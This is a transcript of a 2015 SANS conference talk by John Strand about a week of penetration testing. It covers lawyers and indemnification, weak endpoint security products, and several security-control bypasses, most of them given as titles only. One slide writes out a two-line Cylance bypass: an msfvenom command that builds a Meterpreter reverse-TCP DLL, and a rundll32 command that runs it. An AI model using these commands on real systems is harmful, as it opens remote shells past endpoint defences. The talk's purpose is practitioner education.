everything you wanted to know.. - sans · everything you wanted to know.. one week in the life....
TRANSCRIPT
![Page 1: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/1.jpg)
Copyright © 2015
Everything you wanted to know..
One week in the life
![Page 2: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/2.jpg)
Copyright © 2015
Wow…. 35 min?
Phew… Ok…..
![Page 3: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/3.jpg)
Copyright © 2015
Lawyers… Oh God…
• Constant fights on Indemnification
• Need to have indemnification clause
• They will fight you almost every time
• Need for analogies
• Lets Make a Deal
![Page 4: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/4.jpg)
Copyright © 2015
Advanced Endpoint Security• We are seeing Vision (Hi Dave!!), Cylance, Bit9 (to a
lesser extent), CrowdStrike, etc. on more tests
– Most are train wrecks… Total train wrecks…
• White listing is a thing… Get used to it
• Smaller organizations doing much better
• Larger orgs getting it… Yea, scary…
• Do not base purchases on a companies marketing budget…
![Page 5: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/5.jpg)
Copyright © 2015
![Page 6: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/6.jpg)
Copyright © 2015
Cyfort bypass - DerekLast week
![Page 7: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/7.jpg)
Copyright © 2015
Cylance bypass - JoffYesterday
• Two lines…• # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=y -f dll -o msf.dll
• C:\> rundll32.exe msf.dll, Control_RunDLL
• Yea… That’s pretty much it…• What does this mean?
![Page 8: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/8.jpg)
Copyright © 2015
8
The Need for a Good Password Set
![Page 9: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/9.jpg)
Copyright © 2015
9
YESSS!!!
![Page 10: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/10.jpg)
Copyright © 2015
OWA/Office365 2FA bypass - BeauToday
![Page 11: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/11.jpg)
Copyright © 2015
OWA/Office365 2FA bypass - BeauToday
![Page 12: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/12.jpg)
Copyright © 2015
OWA/Office365 2FA bypass - BeauToday
![Page 13: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/13.jpg)
Copyright © 2015
OWA/Office365 2FA bypass - BeauToday
![Page 14: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/14.jpg)
Copyright © 2015
Customers Watching UsHappens all the time…. Sally
• While we test….
• Changing things on the fly
• VPN setup, test Powershell… First thing the customer takes from us…
![Page 15: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/15.jpg)
Copyright © 2015
Web Proxy Whitelisting BypassYesterday… Brian
Big thanks to @harmj0y!
![Page 16: Everything you wanted to know.. - SANS · Everything you wanted to know.. One week in the life. Copyright © 2015 Wow…. 35 min? Phew… ... YESSS!!! Copyright © 2015 OWA/Office365](https://reader031.vdocuments.us/reader031/viewer/2022021711/5b375ee97f8b9aad388e41b5/html5/thumbnails/16.jpg)
Copyright © 2015
Thanks!
• John Strand
– @strandjs
– 303-710-1171
– Ed’s new shirt!